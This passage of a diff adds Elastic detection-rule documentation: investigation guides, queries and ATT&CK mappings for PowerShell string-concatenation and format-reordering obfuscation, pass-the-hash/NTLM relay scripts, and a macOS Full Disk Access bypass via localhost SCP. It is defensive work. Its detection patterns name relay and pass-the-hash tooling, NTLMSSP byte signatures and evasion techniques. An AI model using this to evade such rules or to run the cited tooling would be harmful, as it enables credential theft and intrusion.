execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: PowerShell Logs +* Resources: Investigation Guide + +*Version*: 11 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This guide was created by humans with the assistance of generative AI. While its contents have been manually curated to include the most valuable information, always validate assumptions and adjust procedures to match your internal runbooks and incident triage and response policies. + + +*Investigating Potential PowerShell Obfuscation via String Concatenation* + + +This rule identifies PowerShell script block content that uses repeated concatenation of quoted string literals. This technique is commonly used to fragment keywords, URLs, and command text so they are assembled only at runtime. Focus the investigation on reconstructing the final strings, understanding how they are used within the script, and scoping related activity from the same host and user. + + +*Key alert fields to review* + + +- `user.name`, `user.domain`, `user.id`: Account execution context for correlation, prioritization, and scoping. +- `host.name`, `host.id`: Host execution context for correlation, prioritization, and scoping. +- `file.path`, `file.directory`, `file.name`: File-origin context when the script block is sourced from an on-disk file. +- `powershell.file.script_block_text`: Script block content that matched the detection logic. +- `powershell.file.script_block_id`, `powershell.sequence`, `powershell.total`: Script block metadata to pivot to other fragments or reconstruct full script content when split across multiple events. +- `Esql.script_block_tmp`: Transformed script block where detection patterns replace original content with a marker to support scoring/counting and quickly spot match locations. +- `Esql.script_block_pattern_count`: Count of matches for the detection pattern(s) observed in the script block content. +- `powershell.file.script_block_entropy_bits`: Shannon entropy of the script block. Higher values may indicate obfuscation. +- `powershell.file.script_block_surprisal_stdev`: Standard deviation of surprisal across the script block. Low values indicate uniform randomness. High values indicate mixed patterns and variability. +- `powershell.file.script_block_unique_symbols`: Count of distinct characters present in the script block. +- `powershell.file.script_block_length`: Script block length (size) context. + + +*Possible investigation steps* + + +- Establish alert context and prioritize review: + - Review `host.name` / `host.id` and `user.name` / `user.domain` / `user.id` to understand where and under which account the script executed. + - Use `Esql.script_block_pattern_count` to gauge how heavily the script relies on concatenation. Higher counts can indicate more deliberate obfuscation. + - Review `powershell.file.script_block_length` and the statistical fields (`powershell.file.script_block_entropy_bits`, `powershell.file.script_block_surprisal_stdev`, `powershell.file.script_block_unique_symbols`) to assess whether the script contains high-variance or high-randomness content that may indicate encoding, packing, or layered obfuscation. + +- Identify the most likely script origin: + - Review `file.path`, `file.directory`, and `file.name` (when present) to determine whether the script block content was sourced from an on-disk script. Note whether the location is expected for administrative tooling or is user-writable/unusual for the host role. + - If file origin fields are not populated, treat the activity as potentially inline/interactive execution and prioritize identifying what initiated it through correlation with surrounding telemetry. + +- Recover the assembled strings and intent: + - Start with `Esql.script_block_tmp` to find where concatenation patterns occur, then inspect the surrounding text in `powershell.file.script_block_text` for the full logic. + - Reconstruct concatenated literals by joining the quoted fragments (preserving ordering and separators) to reveal the final keywords, paths, URLs, arguments, or identifiers the script is attempting to hide. + - Look for how reconstructed strings are used, especially: + - Dynamic invocation of reconstructed commands or expressions. + - Download or retrieval of remote content. + - Decoding/decryption routines and second-stage content handling. + - Construction of file paths, scheduled execution artifacts, or configuration changes. + - Capture any reconstructed indicators (domains, URLs, file names, directories, command fragments) that can be used to scope other activity. + +- Reconstruct full script content when split across events: + - Pivot on `powershell.file.script_block_id` to collect related script block events from the same execution context. + - If `powershell.total` is greater than 1, gather all fragments and order them by `powershell.sequence` to rebuild the complete script content before making a final determination. + - Review whether additional script blocks were executed in close succession by the same `user.id` on the same `host.id`, which may indicate staging or multi-step execution. + +- Scope the activity across hosts and accounts: + - On the same `host.id`, look for other script blocks that share the same `file.path` or distinctive reconstructed strings to determine if this is a single run or repeated behavior. + - Pivot on `user.id` to identify the same technique on other endpoints, which can indicate credential misuse or automated distribution. + +- Correlate with adjacent telemetry (as available in your environment): + - Process execution: identify the PowerShell host process and its parent process near the alert time to determine whether execution was interactive or spawned by another program. + - Network activity: if reconstructed strings include URLs/domains, check for outbound connections, downloads, or callbacks that align with the alert timeframe. + - Host changes: review nearby file and registry activity for payload drops, persistence creation, or configuration changes that match reconstructed paths or names. + - Authentication: review recent logon activity for `user.id` and `host.id` for anomalies that may explain the execution (new logon source, unusual logon type, or unexpected access patterns). + + +*False positive analysis* + + +- Legitimate administrative or operational scripts may concatenate many string literals to generate dynamic content (for example, configuration files, templated output, or complex argument strings). Validate whether the reconstructed strings align with expected internal tooling and whether the execution context (`host.id`, `user.id`, and `file.path`) matches normal operations. + + +*Response and remediation* + + +- If malicious or suspicious activity is confirmed: + - Contain the affected host to prevent follow-on execution or lateral movement. + - Preserve evidence from the alert, including `powershell.file.script_block_text`, `powershell.file.script_block_id`, `powershell.sequence` / `powershell.total`, and any `file.path` details that indicate script origin. + - Use reconstructed strings to scope across the environment for related script blocks and any referenced artifacts (additional scripts, payload files, or remote destinations). + - Identify and remediate the initial execution vector by tracing the execution chain (user context and initiating process) and removing any persistence mechanisms discovered during investigation. + - If account compromise is suspected, reset credentials for the affected `user.id`, review recent access patterns, and apply least-privilege controls to limit further abuse. + +- If the activity is determined to be benign: + - Document the script purpose, expected execution context, and the specific concatenated strings that explain the detection. + - Monitor for deviations from the established baseline (new hosts, new accounts, unexpected file paths, or substantially different reconstructed content). + + +==== Setup + + + +*Setup* + + +PowerShell Script Block Logging must be enabled to generate the events used by this rule (e.g., 4104). +Setup instructions: https://ela.st/powershell-logging-setup + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-windows.powershell_operational* metadata _id, _version, _index +| where event.code == "4104" + +// Filter out smaller scripts that are unlikely to implement obfuscation using the patterns we are looking for +| eval Esql.script_block_length = length(powershell.file.script_block_text) +| where Esql.script_block_length > 500 + +// replace the patterns we are looking for with the 🔥 emoji to enable counting them +// The emoji is used because it's unlikely to appear in scripts and has a consistent character length of 1 +| eval Esql.script_block_tmp = replace( + powershell.file.script_block_text, + """['"][A-Za-z0-9.]+['"](\s?\+\s?['"][A-Za-z0-9.,\-\s]+['"]){2,}""", + "🔥" +) + +// count how many patterns were detected by calculating the number of 🔥 characters inserted +| eval Esql.script_block_pattern_count = length(Esql.script_block_tmp) - length(replace(Esql.script_block_tmp, "🔥", "")) + +// keep the fields relevant to the query, although this is not needed as the alert is populated using _id +| keep + Esql.script_block_pattern_count, + Esql.script_block_length, + Esql.script_block_tmp, + powershell.file.*, + file.path, + powershell.sequence, + powershell.total, + _id, + _version, + _index, + host.name, + host.id, + agent.id, + user.id + +// Filter for scripts that match the pattern at least twice +| where Esql.script_block_pattern_count >= 2 + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Obfuscated Files or Information +** ID: T1027 +** Reference URL: https://attack.mitre.org/techniques/T1027/ +* Sub-technique: +** Name: Command Obfuscation +** ID: T1027.010 +** Reference URL: https://attack.mitre.org/techniques/T1027/010/ +* Technique: +** Name: Deobfuscate/Decode Files or Information +** ID: T1140 +** Reference URL: https://attack.mitre.org/techniques/T1140/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-powershell-obfuscation-via-string-reordering.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-powershell-obfuscation-via-string-reordering.asciidoc new file mode 100644 index 0000000000..d85f451200 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-powershell-obfuscation-via-string-reordering.asciidoc @@ -0,0 +1,239 @@ +[[prebuilt-rule-8-19-20-potential-powershell-obfuscation-via-string-reordering]] +=== Potential PowerShell Obfuscation via String Reordering + +Detects PowerShell scripts that uses format placeholders like "{0}{1}" with the -f operator or ::Format to reorder strings at runtime. Attackers use format-based reconstruction to hide commands or payload strings and evade static analysis and AMSI. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: PowerShell Logs +* Resources: Investigation Guide + +*Version*: 13 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This guide was created by humans with the assistance of generative AI. While its contents have been manually curated to include the most valuable information, always validate assumptions and adjust procedures to match your internal runbooks and incident triage and response policies. + + +*Investigating Potential PowerShell Obfuscation via String Reordering* + + +This alert indicates a PowerShell script block used indexed format placeholders (for example, "{0}{1}") with runtime formatting (for example, the `-f` operator or `::Format`) to reorder and reconstruct strings. This technique can hide meaningful strings (commands, URLs, artifact names) from straightforward text inspection and can be used as part of staged execution. + +Because the detection requires repeated occurrences of these patterns in a larger script block, triage should focus on (1) execution context (host and user), (2) script origin (file-backed vs. in-memory/interactive), and (3) what strings are being reconstructed and what actions they enable. + + +*Key alert fields to review* + + +- `user.name`, `user.domain`, `user.id`: Account execution context for correlation, prioritization, and scoping. +- `host.name`, `host.id`: Host execution context for correlation, prioritization, and scoping. +- `file.path`, `file.directory`, `file.name`: File-origin context when the script block is sourced from an on-disk file. +- `powershell.file.script_block_text`: Script block content that matched the detection logic. +- `powershell.file.script_block_id`, `powershell.sequence`, `powershell.total`: Script block metadata to pivot to other fragments or reconstruct full script content when split across multiple events. +- `Esql.script_block_tmp`: Transformed script block where detection patterns replace original content with a marker to support scoring/counting and quickly spot match locations. +- `Esql.script_block_pattern_count`: Count of matches for the detection pattern(s) observed in the script block content. +- `powershell.file.script_block_entropy_bits`: Shannon entropy of the script block. Higher values may indicate obfuscation. +- `powershell.file.script_block_surprisal_stdev`: Standard deviation of surprisal across the script block. Low values indicate uniform randomness. High values indicate mixed patterns and variability. +- `powershell.file.script_block_unique_symbols`: Count of distinct characters present in the script block. +- `powershell.file.script_block_length`: Script block length (size) context. + + +*Possible investigation steps* + + +- Confirm the execution context and initial scope: + - Identify the affected endpoint using `host.name` and `host.id`. Check for other security alerts or suspicious activity on the same host around the alert time. + - Identify the account context using `user.name`, `user.domain`, and `user.id`. Prioritize alerts where the user is unexpected for the host role or where the user does not typically run PowerShell. + - If `file.path` / `file.directory` / `file.name` are present, capture the script location and assess whether the path and filename are expected for that host and user. If file fields are missing, treat the activity as potentially interactive or in-memory and increase emphasis on correlated telemetry. + +- Review the script block content and determine what is being reconstructed: + - Start with `Esql.script_block_tmp` to quickly locate where formatting patterns occur, then use `powershell.file.script_block_text` as the authoritative source for analysis and evidence. + - Identify how formatting is used: + - Placeholder-only or placeholder-heavy format strings that primarily consist of `{n}` tokens. + - Out-of-order placeholder indexes (for example, `{3}{0}{2}{1}`) and repeated reordering blocks. + - Multiple reconstruction stages where formatted output is subsequently reformatted or concatenated. + - Reconstruct key strings by mapping placeholder indexes to the arguments/fragments used in each formatting operation. Record any reconstructed strings that indicate follow-on behavior (remote addresses, filenames, persistence identifiers, or execution flow). + +- Use the available scoring and statistics fields to guide prioritization: + - Review `Esql.script_block_pattern_count` to understand how heavily the script relies on formatting-based reconstruction. Higher counts generally increase suspicion. + - Review `powershell.file.script_block_entropy_bits`, `powershell.file.script_block_unique_symbols`, `powershell.file.script_block_surprisal_stdev`, and `powershell.file.script_block_length` to differentiate structured, readable scripts from highly variable or packed content. + - Treat these values as supporting signals; base the decision primarily on reconstructed strings and correlated activity. + +- Reconstruct full script content when split across multiple events: + - Pivot on `powershell.file.script_block_id` to gather all fragments for the same script block. + - Order fragments using `powershell.sequence` and confirm completeness using `powershell.total` before drawing conclusions. + +- Correlate and validate impact using adjacent telemetry available in your environment: + - Review other PowerShell script blocks from the same `host.id` and `user.id` to identify staging, deobfuscation, or follow-on execution. + - Correlate with endpoint telemetry for the same host and timeframe to understand how PowerShell was started and what occurred next (process ancestry, network activity, file/registry changes, and authentication activity). Use reconstructed strings to focus this correlation. + +- Expand the hunt to assess prevalence: + - Search for the same or similar content in `powershell.file.script_block_text` (shared fragments, repeated placeholder patterns) across other hosts. + - Use `Esql.script_block_pattern_count` and the script block statistics fields to identify other high-similarity or high-complexity scripts that may represent the same technique. + + +*False positive analysis* + + +- Legitimate automation can use indexed placeholders to build dynamic output, reports, or templated configuration content. Benign usage is more likely when the resulting strings are human-readable and the script has an expected on-disk origin (`file.path` / `file.name`) and consistent execution over time. +- Some internally developed frameworks generate PowerShell dynamically and may include repeated formatting patterns. Validate ownership of the script source and whether execution by the identified `user.id` on the identified `host.id` is expected. +- Localization or templating logic may use indexed placeholders. This is typically associated with readable templates and stable execution patterns rather than multi-stage reconstruction of operational strings. + + +*Response and remediation* + + +- If malicious or suspicious activity is confirmed: + - Contain the affected endpoint identified by `host.name` / `host.id` to prevent further execution and limit lateral movement. + - Preserve evidence, including `powershell.file.script_block_text`, `powershell.file.script_block_id`, `powershell.sequence`, `powershell.total`, and the alert enrichment fields (`Esql.script_block_tmp`, `Esql.script_block_pattern_count`, and script block statistics). + - Use reconstructed strings to drive scoping and impact assessment (look for related activity on the same host, and search for the same indicators across other hosts and users). + +- Eradication and recovery: + - Identify the execution mechanism and remove it (for example, an unexpected script file, a startup trigger, or other persistence identified during correlation). + - Remove or quarantine related artifacts discovered during analysis and validate that similar activity is not occurring on other endpoints. + +- If the activity is determined to be benign: + - Document the expected script source (`file.path` / `file.name`), the responsible team, and the expected execution context (`host.id`, `user.id`) to support faster triage of future alerts. + - Monitor for deviations from the established baseline (new hosts, new users, or materially different reconstructed strings). + + +==== Setup + + + +*Setup* + + +PowerShell Script Block Logging must be enabled to generate the events used by this rule (e.g., 4104). +Setup instructions: https://ela.st/powershell-logging-setup + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-windows.powershell_operational* metadata _id, _version, _index +| where event.code == "4104" and powershell.file.script_block_text like "*{0}*" + +// Filter out smaller scripts that are unlikely to implement obfuscation using the patterns we are looking for +| eval Esql.script_block_length = length(powershell.file.script_block_text) +| where Esql.script_block_length > 500 + +// replace the patterns we are looking for with the 🔥 emoji to enable counting them +// The emoji is used because it's unlikely to appear in scripts and has a consistent character length of 1 +| eval Esql.script_block_tmp = replace( + powershell.file.script_block_text, + """((\{\d+\}){2,}["']\s?-f|::Format[^\{]+(\{\d+\}){2,})""", + "🔥" +) + +// count how many patterns were detected by calculating the number of 🔥 characters inserted +| eval Esql.script_block_pattern_count = length(Esql.script_block_tmp) - length(replace(Esql.script_block_tmp, "🔥", "")) + +// keep the fields relevant to the query, although this is not needed as the alert is populated using _id +| keep + Esql.script_block_pattern_count, + Esql.script_block_length, + Esql.script_block_tmp, + powershell.file.*, + file.path, + file.directory, + powershell.sequence, + powershell.total, + _id, + _version, + _index, + host.name, + host.id, + agent.id, + user.id + +// Filter for scripts that match the pattern at least five times +| where Esql.script_block_pattern_count >= 5 + +// Exclude Noisy Patterns + +// Icinga Framework +| where not file.directory == "C:\\Program Files\\WindowsPowerShell\\Modules\\icinga-powershell-framework\\cache" + // ESQL requires this condition, otherwise it only returns matches where file.directory exists. + or file.directory IS NULL + +| where not (powershell.file.script_block_text LIKE "*GitBranchStatus*" AND + powershell.file.script_block_text LIKE "*$s.BranchBehindStatusSymbol.Text*") +| where not + // https://wtfbins.wtf/17 + ( + (powershell.file.script_block_text like "*sentinelbreakpoints*" or + powershell.file.script_block_text like "*:::::\\\\windows\\\\sentinel*") + and + (powershell.file.script_block_text like "*$local:Bypassed*" or + powershell.file.script_block_text like "*origPSExecutionPolicyPreference*") + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Obfuscated Files or Information +** ID: T1027 +** Reference URL: https://attack.mitre.org/techniques/T1027/ +* Sub-technique: +** Name: Command Obfuscation +** ID: T1027.010 +** Reference URL: https://attack.mitre.org/techniques/T1027/010/ +* Technique: +** Name: Deobfuscate/Decode Files or Information +** ID: T1140 +** Reference URL: https://attack.mitre.org/techniques/T1140/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-powershell-pass-the-hash-relay-script.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-powershell-pass-the-hash-relay-script.asciidoc new file mode 100644 index 0000000000..f6854935b2 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-powershell-pass-the-hash-relay-script.asciidoc @@ -0,0 +1,199 @@ +[[prebuilt-rule-8-19-20-potential-powershell-pass-the-hash-relay-script]] +=== Potential PowerShell Pass-the-Hash/Relay Script + +Detects PowerShell scripts associated with NTLM relay or pass-the-hash tooling and SMB/NTLM negotiation artifacts. Attackers use relay and PtH techniques to authenticate without passwords and pivot to other systems. + +*Rule type*: query + +*Rule indices*: + +* winlogbeat-* +* logs-windows.powershell* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/Kevin-Robertson/Invoke-TheHash/blob/master/Invoke-WMIExec.ps1 +* https://github.com/Kevin-Robertson/Invoke-TheHash/blob/master/Invoke-SMBExec.ps1 +* https://github.com/dafthack/Check-LocalAdminHash/blob/master/Check-LocalAdminHash.ps1 +* https://github.com/nettitude/PoshC2/blob/master/resources/modules/Invoke-Tater.ps1 +* https://github.com/Kevin-Robertson/Inveigh/blob/master/Inveigh.ps1 + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Credential Access +* Resources: Investigation Guide +* Data Source: PowerShell Logs + +*Version*: 109 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential PowerShell Pass-the-Hash/Relay Script* + + +This alert indicates PowerShell script block content consistent with low-level NTLM and SMB/SMB2 negotiation handling. These artifacts are commonly embedded in credential relay and pass-the-hash tooling and can be associated with credential access and lateral movement activity. + + +*Key alert fields to review* + + +- `user.name`, `user.domain`, `user.id`: Account execution context for correlation, prioritization, and scoping. +- `host.name`, `host.id`: Host execution context for correlation, prioritization, and scoping. +- `powershell.file.script_block_text`: Script block content that matched the detection logic. +- `powershell.file.script_block_id`, `powershell.sequence`, `powershell.total`: Script block metadata to pivot to other fragments or reconstruct full script content when split across multiple events. +- `file.path`, `file.directory`, `file.name`: File-origin context when the script block is sourced from an on-disk file. +- `powershell.file.script_block_length`: Script block length (size) context. + + +*Possible investigation steps* + + +- Review `powershell.file.script_block_text` to understand capability and intent: + - Identify whether the script is building, parsing, or transmitting NTLMSSP messages and SMB/SMB2 negotiation data (often represented as hex strings or byte arrays). + - Determine whether the logic aligns more closely with: + - A capture/relay workflow (for example, listener-style components, authentication forwarding, or multiple inbound and outbound endpoints), or + - A pass-the-hash style workflow (for example, authentication material variables combined with remote access or remote execution logic). + - Note any tool identifiers, function names, or comments that resemble known PowerShell relay/PtH frameworks (for example, Inveigh, Invoke-TheHash, Invoke-SMBExec, Invoke-WMIExec, or Invoke-Tater). + - Extract any referenced remote targets or infrastructure (hostnames, IP addresses, UNC paths, share names, or URLs) and record them for scoping and downstream validation. + +- Reconstruct the complete script when the content is split across multiple events: + - Pivot on `powershell.file.script_block_id` and order fragments by `powershell.sequence`; use `powershell.total` to confirm the script is complete. + - Review other script blocks for the same host and user around the alert time to capture configuration values, embedded payloads, or follow-on actions not present in the matching fragment. + +- Establish execution context and expectedness: + - Validate the execution context using `host.name`, `host.id`, `user.name`, `user.domain`, and `user.id`. + - Prioritize investigation when the executing account is privileged, rarely uses PowerShell on the host, or when the host is a server or administrative jump system. + - Use `powershell.file.script_block_length` to help gauge whether this resembles embedded tooling (larger or highly structured blocks) versus incidental string handling. + +- Identify script origin (when file context is available): + - If `file.path`, `file.directory`, or `file.name` are present, determine whether the script originated from disk and whether the location and naming align with approved scripts and expected operators. + - Treat scripts sourced from user-writable or temporary locations as higher risk, especially when combined with protocol-crafting logic. + +- Correlate with adjacent telemetry to understand how PowerShell was launched and what occurred afterward (if available in your environment): + - Review process activity near `@timestamp` on the same host to identify the PowerShell host process and its parent process, and whether execution appears interactive, scheduled, or remotely initiated. + - Review network and authentication activity from the same host and user near the alert time for evidence of SMB or other NTLM-based authentication attempts to multiple targets, repeated failures, or unusual destination systems. + - Look for short-following activity consistent with lateral movement (for example, remote management actions, remote execution behaviors, or additional suspicious PowerShell script blocks). + +- Expand the scope and hunt for related activity: + - Search for additional occurrences of distinctive strings or byte patterns from `powershell.file.script_block_text` across other hosts to identify reuse of the same tooling or broader compromise. + - Review other alerts tied to the same `user.id` and `host.id` within a broader window to identify credential access precursors, staging behavior, or persistence attempts. + + +*False positive analysis* + + +- False positives can occur during authorized security testing, incident response, or troubleshooting where scripts intentionally craft or parse NTLM/SMB protocol messages. +- Validate whether the activity is expected by confirming the script owner (when `file.path` is present), the approved operator, and whether the host and account match the intended scope for such work. +- Benign administrative automation rarely embeds raw NTLMSSP/SMB negotiation byte sequences; prioritize additional review when the script content implements low-level protocol logic or includes relay-style workflows. + + +*Response and remediation* + + +- If malicious or unauthorized activity is suspected: + - Contain the affected host to reduce the risk of credential interception and lateral movement. + - Preserve evidence, including the full reconstructed script content, relevant PowerShell log events, and any on-disk script files referenced by `file.path`. + - Identify potentially impacted accounts using `user.name`, `user.domain`, and `user.id`; take credential containment actions per policy (for example, password resets, revocation of exposed credentials, and review of privileged access). + - Investigate potential lateral movement by reviewing activity on any systems referenced in the script content and by hunting for the same script patterns across other hosts. + +- If the activity is confirmed benign: + - Document the business justification and expected host/account scope, and ensure appropriate approvals are in place. + - Apply targeted tuning using stable attributes such as known script paths, approved execution accounts, or consistent script content patterns. + + +==== Setup + + + +*Setup* + + +PowerShell Script Block Logging must be enabled to generate the events used by this rule (e.g., 4104). +Setup instructions: https://ela.st/powershell-logging-setup + + +==== Rule query + + +[source, js] +---------------------------------- +event.category:process and host.os.type:windows and + powershell.file.script_block_text : ( + ("NTLMSSPNegotiate" and ("NegotiateSMB" or "NegotiateSMB2")) or + "4E544C4D53535000" or + "0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50" or + "0x4e,0x54,0x20,0x4c,0x4d" or + "0x53,0x4d,0x42,0x20,0x32" or + "0x81,0xbb,0x7a,0x36,0x44,0x98,0xf1,0x35,0xad,0x32,0x98,0xf0,0x38" + ) and + not file.directory : "C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection\Downloads" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Adversary-in-the-Middle +** ID: T1557 +** Reference URL: https://attack.mitre.org/techniques/T1557/ +* Sub-technique: +** Name: LLMNR/NBT-NS Poisoning and SMB Relay +** ID: T1557.001 +** Reference URL: https://attack.mitre.org/techniques/T1557/001/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Use Alternate Authentication Material +** ID: T1550 +** Reference URL: https://attack.mitre.org/techniques/T1550/ +* Sub-technique: +** Name: Pass the Hash +** ID: T1550.002 +** Reference URL: https://attack.mitre.org/techniques/T1550/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-privacy-control-bypass-via-localhost-secure-copy.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-privacy-control-bypass-via-localhost-secure-copy.asciidoc new file mode 100644 index 0000000000..c769a7f231 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-privacy-control-bypass-via-localhost-secure-copy.asciidoc @@ -0,0 +1,169 @@ +[[prebuilt-rule-8-19-20-potential-privacy-control-bypass-via-localhost-secure-copy]] +=== Potential Privacy Control Bypass via Localhost Secure Copy + +Identifies use of the Secure Copy Protocol (SCP) to copy files locally by abusing the auto addition of the Secure Shell Daemon (sshd) to the authorized application list for Full Disk Access. This may indicate attempts to bypass macOS privacy controls to access sensitive files. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.trendmicro.com/en_us/research/20/h/xcsset-mac-malware--infects-xcode-projects--uses-0-days.html + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 114 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Privacy Control Bypass via Localhost Secure Copy* + + +Secure Copy Protocol (SCP) is used for secure file transfers over SSH. On macOS, SSH daemon inclusion in the Full Disk Access list can be exploited to bypass privacy controls. Adversaries may misuse SCP to locally copy files, evading security measures. The detection rule identifies such activity by monitoring SCP commands targeting localhost, excluding benign uses like Vagrant, to flag potential privacy control bypass attempts. + + +*Possible investigation steps* + + +- Review the process details to confirm the presence of SCP commands targeting localhost or 127.0.0.1, as indicated by the process.command_line field. +- Check the process.args field for the presence of "StrictHostKeyChecking=no" to verify if the SCP command was executed with potentially insecure settings. +- Investigate the user account associated with the SCP command to determine if it is a legitimate user or potentially compromised. +- Examine the timing and frequency of the SCP command execution to identify any unusual patterns or repeated attempts that may indicate malicious activity. +- Cross-reference the alert with other security logs or alerts to identify any related suspicious activities or anomalies around the same timeframe. +- Assess the system for any unauthorized changes or access to sensitive files that may have occurred as a result of the SCP command execution. + + +*False positive analysis* + + +- Vagrant usage can trigger false positives due to its legitimate use of SCP for local file transfers. To mitigate this, ensure that Vagrant-related SCP commands are excluded by refining the detection rule to ignore processes with arguments containing "vagrant@*127.0.0.1*". +- Development and testing environments may frequently use SCP to localhost for legitimate purposes. Consider creating exceptions for known development tools or scripts that regularly perform these actions to reduce noise. +- Automated backup solutions might use SCP to copy files locally as part of their routine operations. Identify and whitelist these processes to prevent them from being flagged as potential threats. +- System administrators may use SCP for local file management tasks. Establish a list of trusted administrator accounts or specific command patterns that can be safely excluded from triggering alerts. +- Continuous integration and deployment pipelines might involve SCP commands to localhost. Review and exclude these processes if they are part of a controlled and secure workflow. + + +*Response and remediation* + + +- Immediately isolate the affected macOS system from the network to prevent further unauthorized access or data exfiltration. +- Terminate any suspicious SCP processes identified in the alert to halt ongoing unauthorized file transfers. +- Conduct a thorough review of the system's Full Disk Access list to identify and remove any unauthorized applications, including the SSH daemon if it was added without proper authorization. +- Analyze the system's SSH configuration and logs to identify any unauthorized changes or access patterns, and revert any suspicious modifications. +- Reset credentials for any accounts that may have been compromised, focusing on those with SSH access, and enforce the use of strong, unique passwords. +- Implement network monitoring to detect and alert on any future SCP commands targeting localhost, especially those bypassing host key checks. +- Escalate the incident to the security operations team for further investigation and to assess the potential impact on sensitive data, ensuring compliance with organizational incident response protocols. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a macOS System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, for MacOS it is recommended to select "Traditional Endpoints". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR 